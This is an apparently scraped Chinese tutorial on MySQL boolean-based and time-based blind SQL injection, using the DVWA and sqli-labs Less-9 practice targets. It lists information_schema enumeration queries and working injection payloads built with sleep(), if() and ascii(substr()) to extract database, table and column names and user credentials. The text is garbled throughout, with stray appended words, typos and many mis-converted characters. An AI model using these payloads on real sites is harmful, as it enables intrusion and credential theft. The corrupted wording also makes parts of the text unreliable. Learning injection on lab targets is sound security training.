首先仍是写一下核心的语句吧。mysql
information_schema
schemata(schema_name)
tables(table_schema,table_name)
columns(table_schema,table_name,column_name)
sql
select schema_name from information_schema.schemata;
select table_name from information_schema.tables where table_schema='dvwa';
数据库
select column_name from information_schema.columns where table_schema='dvwa' and table_name='users';less
select concat(username,password) from dvwa.users;函数
布尔盲注
在SQL注入过程当中,应用界面仅仅返回True(页面)或者False(页面)。没法根据应用程序的返回页面获得须要的数据库信息。能够经过构造逻辑判断(比较大小)来获得须要的信息。spa
-select id,name from product where id=1 and 1=1orm
布尔型盲注步骤和语句blog
1.判断当前数据库名长度与数据库名称
and select length(database())>n //判断数据库名长度
and ascii(substr(database(),m,1))>n //截取数据库名第m个字符并转换成ascii码 判断具体值
ci
2.判断数据库的表长度与表名字符串
and length((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1))>n //判断第一行表名的长度
and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),m,1))>n //截取第一行表名的第m个字符串转换为ascii值判断具体为多少
3.判断数据库的字段名长度与字段名称
and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>n //判断表名中字段名的长度
adn ascii((substr(select column_name from information_schema.columns where table_name='users' limit 0,1),m,1))>n //截取表中字段的第m字符串转换为ascii值,判断具体值
4.判断字段的内容长度与内容字符串
and length((select user from users limit 0,1)) >1 //判断字符串内容长度
and ascii(substr((select user from users limit 0,1),m,1)) //截取第m个字符串转换为ascii值
时间盲注
在SQL注入过程当中,不管注入是否成功,页面彻底没有变化。此时只能经过使用数据库的延时函数来判断注入点通常采用响应时间上的差别来判断是否存在SQL注入,即基于时间型的SQL盲注
- select id,name from product where id=1 and sleep(2)
基于时间盲注sleep函数
-在mysql下,sleep的语法以下:sleep(seconds)即sleep函数代码执行延迟若干秒
-sleep()函数执行是有条件的,必须保障sql语句执行结果存在数据记录才会中止指定的秒数,若是sql语句查询结果为空,那么sleep函数不会中止
观察如下语句
第一个语句:sleep函数设置查询停留3s, sleep函数自己返回值为0,显示查询时间为3s
第二个语句:语句最后加上and 1=2 造成查询逻辑错误,sleep函数不执行暂停,所以查询时间为0s
基于时间盲注if函数
逻辑判断函数if()
if(expr1,expr2,expr3) 若是expr1为真,则if函数执行expr2语句,不然if函数执行expr3语句
-select user from users where uer_id=1 and1=if(ascii(substr(database(),1,1))>1,sleep(5),1);
此处 若是条件ascii(substr(database(),1,1))>1成立则执行sleep(5),不然执行1
基于时间的盲注案例(sqli-lab less-9)
枚举当前数据库名
- id =1' and sleep(3) and ascii(substr(database(),m,1))>n --+
枚举当前数据库的表名
- id =1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit a,1),m,1))>n and sleep(3) --+
或者利用if函数
- id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit a,1),m,1)) >n,sleep(5),1) --+
枚举当前数据库表的字段名
- id =1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit a,1),m,1))>n and sleep(3) --+
枚举每一个字段对应的数据项内容
- id =1' and ascii(substr((select username from security.users limit a,1),m,1))>n and sleep(3) --+